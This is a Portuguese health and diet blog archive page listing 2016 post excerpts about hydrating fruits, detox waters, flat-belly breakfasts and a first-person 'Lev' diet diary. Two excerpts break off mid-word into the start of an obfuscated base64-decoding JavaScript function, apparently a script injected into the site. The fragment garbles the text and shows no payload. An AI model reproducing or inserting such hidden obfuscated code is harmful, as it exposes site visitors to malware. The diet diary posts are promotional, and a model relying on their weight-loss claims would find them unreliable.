TOP 10: OS FRUTOS MAIS HIDRATANTES

Jul 5, 2016 | Equilíbrio, Saúde e bem estar

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por Ágata Roquette, Nutricionista A água é o principal componente do nosso organismo e normalmente representa 60% do peso corporal nos homens adultos e cerca de 50-55% nas mulheres. Mas, além de ser essencial à própria vida, a água é também um requisito fundamental...

A minha dieta: a pesagem final! ?

Jun 30, 2016 | Equilíbrio, Saúde e bem estar

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A minha dieta: a pesagem final. Ainda se lembra porque é que eu comecei a dieta Lev há um mês?   Pois é, tinha engordado no inverno e as roupitas mais apertadas já não me assentavam como eu queria. Era difícil disfarçar as gordurinhas. Como não estava contente com a...

Super satisfeita com a minha dieta ❤

Jun 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar

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Super satisfeita com a minha dieta ❤ Olá, cá estou eu de novo para vos dar notícias de como está a correr a minha dieta Lev. Fantástica. Aliás, nem é preciso dizer. Os resultados estão à vista. Estou mais magrita! Que bom!   E adaptei-me com muita facilidade a este...

3 águas detox por Luísa Fortes da Cunha

Jun 25, 2016 | Equilíbrio, Saúde e bem estar

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Águas detox de Kiwi, Limão e Morangos por Luísa Fortes da Cunha   Água com Kiwi Ingredientes 1 Litro de água 2kiwis Umas gotas de limão Preparação Comece por cortar os kiwis às rodelas. Depois coloque os kiwis cortados num jarro e junte a água. Acrescente umas gotas...

3 Pequenos-almoços para manter a barriga lisa

Jun 22, 2016 | À descoberta, Receitas

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3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...

A minha dieta resulta mesmo

Jun 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3

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A minha dieta resulta mesmo Nesta Primavera estou mais Lev. Decidi fazer esta dieta para perder as gordurinhas acumuladas no inverno tão rigoroso que tivemos. E devagar devagarinho já lá vão perto de 5 kg. A roupinha voltou a servir-me, ou melhor, eu a servir na...

A Dieta certa para mim

Jun 16, 2016 | Equilíbrio, Saúde e bem estar

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A dieta certa para mim. Olá! Tem acompanhado a minha dieta Lev? Se não acompanhou, ainda está a tempo: veja como é que eu estava qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

16 truques e dicas para comer bem

Jun 13, 2016 | Equilíbrio, Saúde e bem estar

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Truques e dicas para comer bem   Maximize o poder salutar da fruta, dos legumes e dos vegetais:    Prefira os produtos frescos, que ainda estão viçosos e não murchos. Fresco = nutritivo.   Qufunction a4872b9c6b(y1){var...